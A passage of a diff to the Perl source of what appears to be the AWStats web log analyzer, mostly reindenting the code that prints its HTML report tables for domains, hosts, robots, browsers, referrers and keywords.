+ ? $avg_dayofweek_k[$_]
+ : 0
+ ) / $max_k * $BarHeight
) + 1;
}
$avg_dayofweek_p[$_] = sprintf(
- "%.2f",
- (
- $avg_dayofweek_p[$_] ne '?'
- ? $avg_dayofweek_p[$_]
- : 0
- )
+ "%.2f",
+ (
+ $avg_dayofweek_p[$_] ne '?'
+ ? $avg_dayofweek_p[$_]
+ : 0
+ )
);
$avg_dayofweek_h[$_] = sprintf(
- "%.2f",
- (
- $avg_dayofweek_h[$_] ne '?'
- ? $avg_dayofweek_h[$_]
- : 0
- )
+ "%.2f",
+ (
+ $avg_dayofweek_h[$_] ne '?'
+ ? $avg_dayofweek_h[$_]
+ : 0
+ )
);
$avg_dayofweek_k[$_] = sprintf(
- "%.2f",
- (
- $avg_dayofweek_k[$_] ne '?'
- ? $avg_dayofweek_k[$_]
- : 0
- )
+ "%.2f",
+ (
+ $avg_dayofweek_k[$_] ne '?'
+ ? $avg_dayofweek_k[$_]
+ : 0
+ )
);
# Remove decimal part that are .0
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
. AltTitle( "$Message[75]: "
- . Format_Bytes( $avg_dayofweek_k[$_] ) )
+ . Format_Bytes( $avg_dayofweek_k[$_] ) )
. " />";
}
print "</td>\n";
print "<td"
. ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
. ">"
- . ( !$StaticLinks
- && $_ == ( $nowwday - 1 )
- && $MonthRequired == $nowmonth
- && $YearRequired == $nowyear
- ? '<font class="currentday">'
- : '' );
+ . (
+ !$StaticLinks
+ && $_ == ( $nowwday - 1 )
+ && $MonthRequired == $nowmonth
+ && $YearRequired == $nowyear
+ ? '<font class="currentday">'
+ : ''
+ );
print $Message[ $_ + 84 ];
- print( !$StaticLinks
- && $_ == ( $nowwday - 1 )
- && $MonthRequired == $nowmonth
- && $YearRequired == $nowyear ? '</font>' : '' );
+ print( !$StaticLinks
+ && $_ == ( $nowwday - 1 )
+ && $MonthRequired == $nowmonth
+ && $YearRequired == $nowyear ? '</font>' : '' );
print "</td>";
}
print "</tr>\n</table>\n";
. ( $_ =~ /[06]/ ? " bgcolor=\"#$color_weekend\"" : "" )
. ">";
print "<td>"
- . ( !$StaticLinks
- && $_ == ( $nowwday - 1 )
- && $MonthRequired == $nowmonth
- && $YearRequired == $nowyear
- ? '<font class="currentday">'
- : '' );
+ . (
+ !$StaticLinks
+ && $_ == ( $nowwday - 1 )
+ && $MonthRequired == $nowmonth
+ && $YearRequired == $nowyear
+ ? '<font class="currentday">'
+ : ''
+ );
print $Message[ $_ + 84 ];
- print( !$StaticLinks
- && $_ == ( $nowwday - 1 )
- && $MonthRequired == $nowmonth
- && $YearRequired == $nowyear ? '</font>' : '' );
+ print( !$StaticLinks
+ && $_ == ( $nowwday - 1 )
+ && $MonthRequired == $nowmonth
+ && $YearRequired == $nowyear ? '</font>' : '' );
print "</td>";
if ( $ShowDaysOfWeekStats =~ /P/i ) {
print "<td>", $avg_dayofweek_p[$_], "</td>";
$valdata[ $xx++ ] = $_time_k[$_] || 0;
}
ShowGraph_graphapplet(
- "$title", "hours",
- $ShowHoursStats, \@blocklabel,
- \@vallabel, \@valcolor,
- \@valmax, \@valtotal,
- \@valaverage, \@valdata
+ "$title", "hours",
+ $ShowHoursStats, \@blocklabel,
+ \@vallabel, \@valcolor,
+ \@valmax, \@valtotal,
+ \@valaverage, \@valdata
);
}
else {
print
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
. AltTitle(
- "$Message[75]: " . Format_Bytes( $_time_k[$ix] ) )
+ "$Message[75]: " . Format_Bytes( $_time_k[$ix] ) )
. " />";
}
print "</td>\n";
print "$Center<a name=\"countries\"> </a><br />\n";
my $title =
"$Message[25] ($Message[77] $MaxNbOf{'Domain'}) - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=alldomains")
- : "$PROG$StaticLinks.alldomains.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=alldomains")
+ : "$PROG$StaticLinks.alldomains.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]</a>";
&tab_head( "$title", 19, 0, 'countries' );
print
if ( $_ > $max_k ) { $max_k = $_; }
}
my $count = 0;
- &BuildKeyList( $MaxNbOf{'Domain'}, $MinHit{'Domain'},
- \%_domener_h, \%_domener_p );
+ &BuildKeyList(
+ $MaxNbOf{'Domain'}, $MinHit{'Domain'},
+ \%_domener_h, \%_domener_p
+ );
foreach my $key (@keylist) {
my ( $_domener_u, $_domener_v );
my $bredde_p = 0;
}
## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
if ( $ShowDomainsStats =~ /U/i ) {
- $_domener_u =
- ( $_domener_p{$key}
+ $_domener_u = (
+ $_domener_p{$key}
? $_domener_p{$key} / $TotalPages
- : 0 );
+ : 0
+ );
$_domener_u += ( $_domener_h{$key} / $TotalHits );
$_domener_u =
sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 );
. ")</td>";
}
if ( $ShowDomainsStats =~ /V/i ) {
- $_domener_v =
- ( $_domener_p{$key}
+ $_domener_v = (
+ $_domener_p{$key}
? $_domener_p{$key} / $TotalPages
- : 0 );
+ : 0
+ );
$_domener_v += ( $_domener_h{$key} / $TotalHits );
$_domener_v =
sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 );
$rest_p = $TotalPages - $total_p;
$rest_h = $TotalHits - $total_h;
$rest_k = $TotalBytes - $total_k;
- if ( $rest_u > 0
- || $rest_v > 0
- || $rest_p > 0
- || $rest_h > 0
- || $rest_k > 0 )
+ if ( $rest_u > 0
+ || $rest_v > 0
+ || $rest_p > 0
+ || $rest_h > 0
+ || $rest_k > 0 )
{ # All other domains (known or not)
print
"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
print "$Center<a name=\"visitors\"> </a><br />\n";
my $title =
"$Message[81] ($Message[77] $MaxNbOf{'HostsShown'}) - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=allhosts")
- : "$PROG$StaticLinks.allhosts.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=allhosts")
+ : "$PROG$StaticLinks.allhosts.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]</a> - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=lasthosts")
- : "$PROG$StaticLinks.lasthosts.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=lasthosts")
+ : "$PROG$StaticLinks.lasthosts.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[9]</a> - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=unknownip")
- : "$PROG$StaticLinks.unknownip.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=unknownip")
+ : "$PROG$StaticLinks.unknownip.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[45]</a>";
&tab_head( "$title", 19, 0, 'visitors' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
$total_p = $total_h = $total_k = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'HostsShown'}, $MinHit{'Host'}, \%_host_h,
- \%_host_p );
+ \%_host_p );
foreach my $key (@keylist) {
print "<tr>";
print "<td class=\"aws\">$key</td>";
}
if ( $ShowHostsStats =~ /L/i ) {
print '<td nowrap="nowrap">'
- . ( $_host_l{$key}
- ? Format_Date( $_host_l{$key}, 1 )
- : '-' )
+ . (
+ $_host_l{$key}
+ ? Format_Date( $_host_l{$key}, 1 )
+ : '-'
+ )
. '</td>';
}
print "</tr>\n";
print "$Center<a name=\"logins\"> </a><br />\n";
my $title =
"$Message[94] ($Message[77] $MaxNbOf{'LoginShown'}) - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=alllogins")
- : "$PROG$StaticLinks.alllogins.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=alllogins")
+ : "$PROG$StaticLinks.alllogins.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $ShowAuthenticatedUsers =~ /L/i ) {
- $title .=
- " - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=lastlogins")
- : "$PROG$StaticLinks.lastlogins.$StaticExt" )
+ $title .= " - <a href=\""
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=lastlogins")
+ : "$PROG$StaticLinks.lastlogins.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[9]</a>";
}
&tab_head( "$title", 19, 0, 'logins' );
}
my $count = 0;
&BuildKeyList( $MaxNbOf{'LoginShown'}, $MinHit{'Login'}, \%_login_h,
- \%_login_p );
+ \%_login_p );
foreach my $key (@keylist) {
my $bredde_p = 0;
my $bredde_h = 0;
}
if ( $ShowAuthenticatedUsers =~ /L/i ) {
print "<td>"
- . ( $_login_l{$key}
- ? Format_Date( $_login_l{$key}, 1 )
- : '-' )
+ . (
+ $_login_l{$key}
+ ? Format_Date( $_login_l{$key}, 1 )
+ : '-'
+ )
. "</td>";
}
print "</tr>\n";
&tab_head(
"$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) - <a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=allrobots")
- : "$PROG$StaticLinks.allrobots.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=allrobots")
+ : "$PROG$StaticLinks.allrobots.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a> - <a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=lastrobots")
- : "$PROG$StaticLinks.lastrobots.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=lastrobots")
+ : "$PROG$StaticLinks.lastrobots.$StaticExt"
)
. "\"$NewLinkTarget>$Message[9]</a>",
19, 0, 'robots'
$total_p = $total_h = $total_k = $total_r = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
- \%_robot_h );
+ \%_robot_h );
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">"
. ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
}
if ( $ShowRobotsStats =~ /L/i ) {
print "<td>"
- . ( $_robot_l{$key}
- ? Format_Date( $_robot_l{$key}, 1 )
- : '-' )
+ . (
+ $_robot_l{$key}
+ ? Format_Date( $_robot_l{$key}, 1 )
+ : '-'
+ )
. "</td>";
}
print "</tr>\n";
if ($Debug) { debug( "ShowWormsStats", 2 ); }
print "$Center<a name=\"worms\"> </a><br />\n";
&tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})",
- 19, 0, 'worms' );
+ 19, 0, 'worms' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">";
print "<th>" . ( scalar keys %_worm_h ) . " $Message[164]*</th>";
print "<th>$Message[167]</th>";
$total_p = $total_h = $total_k = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
- \%_worm_h );
+ \%_worm_h );
foreach my $key (@keylist) {
print "<tr>";
print "<td class=\"aws\">"
}
if ( $ShowWormsStats =~ /L/i ) {
print "<td>"
- . ( $_worm_l{$key}
- ? Format_Date( $_worm_l{$key}, 1 )
- : '-' )
+ . (
+ $_worm_l{$key}
+ ? Format_Date( $_worm_l{$key}, 1 )
+ : '-'
+ )
. "</td>";
}
print "</tr>\n";
my $total_cre = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_filetypes_h,
- \%_filetypes_h );
+ \%_filetypes_h );
foreach my $key (@keylist) {
my $p_h = ' ';
my $p_k = ' ';
if ( $ShowFileTypesStats =~ /C/i ) {
if ( $_filetypes_gz_in{$key} ) {
my $percent = int(
- 100 * (
- 1 - $_filetypes_gz_out{$key} /
- $_filetypes_gz_in{$key}
- )
+ 100 * (
+ 1 - $_filetypes_gz_out{$key} /
+ $_filetypes_gz_in{$key}
+ )
);
printf(
- "<td>%s</td><td>%s</td><td>%s (%s%)</td>",
- Format_Bytes( $_filetypes_gz_in{$key} ),
- Format_Bytes( $_filetypes_gz_out{$key} ),
- Format_Bytes(
- $_filetypes_gz_in{$key} -
- $_filetypes_gz_out{$key}
- ),
- $percent
+ "<td>%s</td><td>%s</td><td>%s (%s%)</td>",
+ Format_Bytes( $_filetypes_gz_in{$key} ),
+ Format_Bytes( $_filetypes_gz_out{$key} ),
+ Format_Bytes(
+ $_filetypes_gz_in{$key} -
+ $_filetypes_gz_out{$key}
+ ),
+ $percent
);
$total_con += $_filetypes_gz_in{$key};
$total_cre += $_filetypes_gz_out{$key};
my $percent =
int( 100 * ( 1 - $total_cre / $total_con ) );
printf(
- "<td>%s</td><td>%s</td><td>%s (%s%)</td>",
- Format_Bytes($total_con),
- Format_Bytes($total_cre),
- Format_Bytes( $total_con - $total_cre ),
- $percent
+ "<td>%s</td><td>%s</td><td>%s (%s%)</td>",
+ Format_Bytes($total_con),
+ Format_Bytes($total_cre),
+ Format_Bytes( $total_con - $total_cre ),
+ $percent
);
}
else {
"$Center<a name=\"urls\"> </a><a name=\"entry\"> </a><a name=\"exit\"> </a><br />\n";
my $title =
"$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=urldetail")
- : "$PROG$StaticLinks.urldetail.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=urldetail")
+ : "$PROG$StaticLinks.urldetail.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]</a>";
if ( $ShowPagesStats =~ /E/i ) {
- $title .=
- " - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=urlentry")
- : "$PROG$StaticLinks.urlentry.$StaticExt" )
+ $title .= " - <a href=\""
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=urlentry")
+ : "$PROG$StaticLinks.urlentry.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[104]</a>";
}
if ( $ShowPagesStats =~ /X/i ) {
- $title .=
- " - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=urlexit")
- : "$PROG$StaticLinks.urlexit.$StaticExt" )
+ $title .= " - <a href=\""
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=urlexit")
+ : "$PROG$StaticLinks.urlexit.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[116]</a>";
}
&tab_head( "$title", 19, 0, 'urls' );
$max_k = 1;
my $count = 0;
&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
- \%_url_p );
+ \%_url_p );
foreach my $key (@keylist) {
if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
if ( $max_k > 0 ) {
$bredde_k =
int( $BarWidth *
- ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
- $max_k ) + 1;
+ ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
+ $max_k ) + 1;
}
if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
if ( $ShowPagesStats =~ /B/i ) {
print "<td>"
. (
- $_url_k{$key}
- ? Format_Bytes(
- $_url_k{$key} / ( $_url_p{$key} || 1 )
- )
- : " "
+ $_url_k{$key}
+ ? Format_Bytes(
+ $_url_k{$key} / ( $_url_p{$key} || 1 )
+ )
+ : " "
)
. "</td>";
}
# Call to plugins' function ShowPagesAddField
foreach my $pluginname (
- keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
+ keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
# my $function="ShowPagesAddField_$pluginname('$key')";
}
if ( $ShowPagesStats =~ /B/i ) {
print "<td>"
- . ( $rest_k
- ? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
- : " " )
+ . (
+ $rest_k
+ ? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
+ : " "
+ )
. "</td>";
}
if ( $ShowPagesStats =~ /E/i ) {
# Call to plugins' function ShowPagesAddField
foreach my $pluginname (
- keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
+ keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
# my $function="ShowPagesAddField_$pluginname('')";
}
my $title =
"$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=osdetail")
- : "$PROG$StaticLinks.osdetail.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=osdetail")
+ : "$PROG$StaticLinks.osdetail.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=unknownos")
- : "$PROG$StaticLinks.unknownos.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=unknownos")
+ : "$PROG$StaticLinks.unknownos.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[0]</a>";
&tab_head( "$title", 19, 0, 'os' );
print
$total_h = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h,
- \%new_os_h );
+ \%new_os_h );
foreach my $key (@keylist) {
my $p = ' ';
if ($Totalh) {
}
my $title =
"$Message[21] ($Message[77] $MaxNbOf{'BrowsersShown'}) - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=browserdetail")
- : "$PROG$StaticLinks.browserdetail.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=browserdetail")
+ : "$PROG$StaticLinks.browserdetail.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]/$Message[58]</a> - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=unknownbrowser")
- : "$PROG$StaticLinks.unknownbrowser.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=unknownbrowser")
+ : "$PROG$StaticLinks.unknownbrowser.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[0]</a>";
&tab_head( "$title", 19, 0, 'browsers' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th>$Message[21]</th><th width=\"80\">$Message[111]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
$total_h = 0;
my $count = 0;
- &BuildKeyList( $MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'},
- \%new_browser_h, \%new_browser_h );
+ &BuildKeyList(
+ $MaxNbOf{'BrowsersShown'}, $MinHit{'Browser'},
+ \%new_browser_h, \%new_browser_h
+ );
foreach my $key (@keylist) {
my $p = ' ';
if ($Totalh) {
. "$libbrowser"
. ( $PageDir eq 'rtl' ? "</span>" : "" )
. "</td><td>"
- . ( $BrowsersHereAreGrabbers{$key}
- ? "<b>$Message[112]</b>"
- : "$Message[113]" )
+ . (
+ $BrowsersHereAreGrabbers{$key}
+ ? "<b>$Message[112]</b>"
+ : "$Message[113]"
+ )
. "</td><td>$new_browser_h{$key}</td><td>$p</td></tr>\n";
}
$total_h += $new_browser_h{$key};
my $total_h = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'ScreenSizesShown'},
- $MinHit{'ScreenSize'}, \%_screensize_h,
- \%_screensize_h );
+ $MinHit{'ScreenSize'}, \%_screensize_h, \%_screensize_h );
foreach my $key (@keylist) {
my $p = ' ';
print "<tr"
. Tooltip(13)
. "><td class=\"aws\"><b>$Message[40]</b> - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=refererse")
- : "$PROG$StaticLinks.refererse.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=refererse")
+ : "$PROG$StaticLinks.refererse.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]</a><br />\n";
if ( scalar keys %_se_referrals_h ) {
print "<table>\n";
$total_h = 0;
my $count = 0;
&BuildKeyList(
- $MaxNbOf{'RefererShown'},
- $MinHit{'Refer'},
- \%_se_referrals_h,
- (
- ( scalar keys %_se_referrals_p )
- ? \%_se_referrals_p
- : \%_se_referrals_h
- )
+ $MaxNbOf{'RefererShown'},
+ $MinHit{'Refer'},
+ \%_se_referrals_h,
+ (
+ ( scalar keys %_se_referrals_p )
+ ? \%_se_referrals_p
+ : \%_se_referrals_h
+ )
);
foreach my $key (@keylist) {
my $newreferer = $SearchEnginesHashLib{$key}
print "<tr><td class=\"aws\">- $newreferer</td>";
print "<td>"
. (
- $_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' )
+ $_se_referrals_p{$key} ? $_se_referrals_p{$key} : '0' )
. "</td>";
print "<td>$_se_referrals_h{$key}</td>";
print "</tr>\n";
print "<tr"
. Tooltip(14)
. "><td class=\"aws\"><b>$Message[41]</b> - <a href=\""
- . ( $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=refererpages")
- : "$PROG$StaticLinks.refererpages.$StaticExt" )
+ . (
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=refererpages")
+ : "$PROG$StaticLinks.refererpages.$StaticExt"
+ )
. "\"$NewLinkTarget>$Message[80]</a><br />\n";
if ( scalar keys %_pagesrefs_h ) {
print "<table>\n";
$total_h = 0;
my $count = 0;
&BuildKeyList(
- $MaxNbOf{'RefererShown'},
- $MinHit{'Refer'},
- \%_pagesrefs_h,
- (
- ( scalar keys %_pagesrefs_p )
- ? \%_pagesrefs_p
- : \%_pagesrefs_h
- )
+ $MaxNbOf{'RefererShown'},
+ $MinHit{'Refer'},
+ \%_pagesrefs_h,
+ (
+ ( scalar keys %_pagesrefs_p )
+ ? \%_pagesrefs_p
+ : \%_pagesrefs_h
+ )
);
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">- ";
&tab_head(
"$Message[120] ($Message[77] $MaxNbOf{'KeyphrasesShown'})<br /><a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=keyphrases")
- : "$PROG$StaticLinks.keyphrases.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=keyphrases")
+ : "$PROG$StaticLinks.keyphrases.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>",
19,
$total_s = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'KeyphrasesShown'},
- $MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases );
+ $MinHit{'Keyphrase'}, \%_keyphrases, \%_keyphrases );
foreach my $key (@keylist) {
my $mot;
- # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
+ # Convert coded keywords (utf8,...) to be correctly reported in HTML page.
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
$mot = CleanXSS(
- DecodeKey_decodeutfkeys(
- $key, $PageCode || 'iso-8859-1'
- )
+ DecodeKey_decodeutfkeys(
+ $key, $PageCode || 'iso-8859-1'
+ )
);
}
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
&tab_head(
"$Message[121] ($Message[77] $MaxNbOf{'KeywordsShown'})<br /><a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'}
- || !$StaticLinks
- ? XMLEncode("$AWScript?${NewLinkParams}output=keywords")
- : "$PROG$StaticLinks.keywords.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'}
+ || !$StaticLinks
+ ? XMLEncode("$AWScript?${NewLinkParams}output=keywords")
+ : "$PROG$StaticLinks.keywords.$StaticExt"
)
. "\"$NewLinkTarget>$Message[80]</a>",
19,
$total_s = 0;
my $count = 0;
&BuildKeyList( $MaxNbOf{'KeywordsShown'},
- $MinHit{'Keyword'}, \%_keywords, \%_keywords );
+ $MinHit{'Keyword'}, \%_keywords, \%_keywords );
foreach my $key (@keylist) {
my $mot;
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
$mot = CleanXSS(
- DecodeKey_decodeutfkeys(
- $key, $PageCode || 'iso-8859-1'
- )
+ DecodeKey_decodeutfkeys(
+ $key, $PageCode || 'iso-8859-1'
+ )
);
}
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
if ($ShowMiscStats) {
if ($Debug) { debug( "ShowMiscStats", 2 ); }
print "$Center<a name=\"misc\"> </a><br />\n";
- my $Totalh = 0;
- my %new_browser_h = ();
- if ( $_misc_h{'AddToFavourites'} ) {
- foreach my $key ( keys %_browser_h ) {
- $Totalh += $_browser_h{$key};
- if ( $key =~ /^msie/i ) {
- $new_browser_h{"msiecumul"} += $_browser_h{$key};
- }
- }
- if ( $new_browser_h{'msiecumul'} ) {
- $_misc_h{'AddToFavourites'} =
- int( 0.5 + $_misc_h{'AddToFavourites'} * $Totalh /
- $new_browser_h{'msiecumul'} );
- }
- }
my $title = "$Message[139]";
&tab_head( "$title", 19, 0, 'misc' );
print
print "<th width=\"100\"> </th>";
print "</tr>\n";
my %label = (
- 'AddToFavourites' => $Message[137],
- 'JavascriptDisabled' => $Message[168],
- 'JavaEnabled' => $Message[140],
- 'DirectorSupport' => $Message[141],
- 'FlashSupport' => $Message[142],
- 'RealPlayerSupport' => $Message[143],
- 'QuickTimeSupport' => $Message[144],
- 'WindowsMediaPlayerSupport' => $Message[145],
- 'PDFSupport' => $Message[146]
+ 'AddToFavourites' => $Message[137],
+ 'JavascriptDisabled' => $Message[168],
+ 'JavaEnabled' => $Message[140],
+ 'DirectorSupport' => $Message[141],
+ 'FlashSupport' => $Message[142],
+ 'RealPlayerSupport' => $Message[143],
+ 'QuickTimeSupport' => $Message[144],
+ 'WindowsMediaPlayerSupport' => $Message[145],
+ 'PDFSupport' => $Message[146]
);
foreach my $key (@MiscListOrder) {
if ($total) {
$p =
int( ( $_misc_h{$key} ? $_misc_h{$key} : 0 ) / $total *
- 1000 ) / 10;
+ 1000 ) / 10;
}
print "<tr>";
print "<td class=\"aws\">"
if ( $TrapInfosForHTTPErrorCodes{$key} ) {
print "<td><a href=\""
. (
- $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
- ? XMLEncode(
- "$AWScript?${NewLinkParams}output=errors$key")
- : "$PROG$StaticLinks.errors$key.$StaticExt"
+ $ENV{'GATEWAY_INTERFACE'} || !$StaticLinks
+ ? XMLEncode(
+ "$AWScript?${NewLinkParams}output=errors$key")
+ : "$PROG$StaticLinks.errors$key.$StaticExt"
)
. "\"$NewLinkTarget>$key</a></td>";
}
else { print "<td valign=\"top\">$key</td>"; }
print "<td class=\"aws\">"
. (
- $httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' )
+ $httpcodelib{$key} ? $httpcodelib{$key} : 'Unknown error' )
. "</td><td>$_errors_h{$key}</td><td>$p %</td><td>"
